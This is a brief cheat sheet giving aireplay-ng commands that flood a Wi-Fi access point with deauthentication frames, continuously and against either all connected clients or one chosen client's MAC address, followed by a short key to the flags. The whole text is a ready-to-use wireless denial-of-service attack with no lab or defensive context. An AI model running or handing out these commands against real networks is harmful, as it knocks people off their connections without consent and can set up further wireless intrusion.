deauth every user

aireplay-ng --deauth 0 -a <AP's MAC/BSSID> <NIC monitor mode>

deauth single user

aireplay-ng --deauth 0 -a <AP's MAC/BSSID> -c <client's MAC> <NIC monitor mode>

where:

  • —deauth 0 - deauth and count
  • -a - set Access Point MAC address
  • -c - client’s MAC to deauthenticate